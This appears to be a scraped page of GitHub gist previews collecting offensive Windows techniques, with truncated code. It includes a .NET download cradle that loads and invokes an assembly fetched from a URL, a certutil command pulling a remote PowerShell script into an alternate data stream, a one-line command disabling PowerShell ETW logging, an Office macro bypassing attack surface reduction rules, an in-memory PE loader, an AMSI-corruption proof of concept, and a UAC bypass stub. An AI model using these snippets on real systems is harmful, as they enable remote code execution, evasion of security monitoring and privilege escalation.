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@infosecn1nja
infosecn1nja / ASR Rules Bypass.vba
Last active March 19, 2026 16:08
ASR rules bypass creating child processes
' ASR rules bypass creating child processes
' https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction
' https://www.darkoperator.com/blog/2017/11/11/windows-defender-exploit-guard-asr-rules-for-office
' https://www.darkoperator.com/blog/2017/11/6/windows-defender-exploit-guard-asr-vbscriptjs-rule
Sub ASR_blocked()
Dim WSHShell As Object
Set WSHShell = CreateObject("Wscript.Shell")
WSHShell.Run "cmd.exe"
End Sub
@mattifestation
mattifestation / CorruptCLRGlobal.ps1
Created December 7, 2018 12:45
A PoC function to corrupt the g_amsiContext global variable in clr.dll in .NET Framework Early Access build 3694
function Subvert-CLRAntiMalware {
<#
.SYNOPSIS
A proof-of-concept demonstrating overwriting a global variable that stores a pointer to an antimalware scan interface context structure. This PoC was only built to work with .NET Framework Early Access build 3694.
.DESCRIPTION
clr.dll in .NET Framework Early Access build 3694 has a global variable that stores a pointer to an antimalware scan interface context structure. By reading the pointer at that offset and then overwriting the forst DWORD, the context structure will become corrupted and subsequent scanning calls will fail open.
@cobbr
cobbr / DotnetAssemblyDownloadCradle.cs
Created June 20, 2018 22:37
A download cradle for .NET assemblies.
public class Program { public static void Main(string[] args) { System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData(args[0])).GetTypes()[0].GetMethods()[0].Invoke(0, null); } }
@homjxi0e
homjxi0e / PCW8E57.xml
Created April 24, 2018 09:10
msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af C:\PCW8E57.xml /skip TRUE
<?xml version="1.0" encoding="utf-16"?>
<Answers Version="1.0">
<Interaction ID="IT_LaunchMethod">
<Value>ContextMenu</Value>
</Interaction>
<Interaction ID="IT_SelectProgram">
<Value>NotListed</Value>
</Interaction>
<Interaction ID="IT_BrowseForFile">
<Value>C:\Windows\assembly\Exec-Execute.msi</Value>
@mattifestation
mattifestation / LoadInMemoryModule.ps1
Created March 30, 2018 18:01
A stealthier method of loading a .NET PE in memory - via the Assembly.LoadModule method
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('TempAssembly')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('TempModule')
# Create a stub module that the in-memory module (i.e. this mimics the loading of a netmodule at runtime) will be loaded into.
$ModuleBuilder2 = $AssemblyBuilder.DefineDynamicModule('hello.dll')
$TypeBuilder = $ModuleBuilder.DefineType('TempClass', [Reflection.TypeAttributes]::Public)
$TypeBuilder.CreateType()
$HelloDllBytes = [Convert]::FromBase64String('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAJNPvloAAAAAAAAAAOAAAiELAQsAAAQAAAAGAAAAAAAAPiMAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAOQiAABXAAAAAEAAAJgCAAAAAAAAAAAAAAAAAAA
# This idea originated from this blog post on Invoke DSC Resources directly:
# https://blogs.msdn.microsoft.com/powershell/2015/02/27/invoking-powershell-dsc-resources-directly/
<#
$MOFContents = @'
instance of MSFT_ScriptResource as $MSFT_ScriptResource1ref
{
ResourceID = "[Script]ScriptExample";
GetScript = "\"$(Get-Date): I am being GET\" | Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append; return $True";
TestScript = "\"$(Get-Date): I am being TESTED\" | Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append; return $True";
@api0cradle
api0cradle / Exe_ADS_Methods.md
Last active January 18, 2026 06:02
Execute from Alternate Streams

Add content to ADS

type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"

extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe

findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt

makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab

anonymous
anonymous / memMITM.cpp
Created December 19, 2017 00:23
SSL MITM PoC - Hook sspicli!EncryptMessage
#define SECURITY_WIN32 //Define First Before Imports.
#include <windows.h>
#include <stdio.h>
#include <Sspi.h> //Be sure to reference secur32.lib in Linker | Input | Additional Dependencies
FARPROC fpEncryptMessage; //Pointer To The Original Location
BYTE bSavedByte; //Saved Byte Overwritten by 0xCC -
@tandasat
tandasat / KillETW.ps1
Last active August 22, 2025 06:28
Disable ETW of the current PowerShell session
#
# This PowerShell command sets 0 to System.Management.Automation.Tracing.PSEtwLogProvider etwProvider.m_enabled
# which effectively disables Suspicious ScriptBlock Logging etc. Note that this command itself does not attempt
# to bypass Suspicious ScriptBlock Logging for readability.
#
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
@hfiref0x
hfiref0x / akagi_42b.c
Last active August 21, 2025 16:06
UAC bypass using FwCplLua COM interface and HKCU mscfile registry entry hijack
typedef interface IFwCplLua IFwCplLua;
typedef struct IFwCplLuaInterfaceVtbl {
BEGIN_INTERFACE
HRESULT(STDMETHODCALLTYPE *QueryInterface)(
__RPC__in IFwCplLua * This,
__RPC__in REFIID riid,
_COM_Outptr_ void **ppvObject);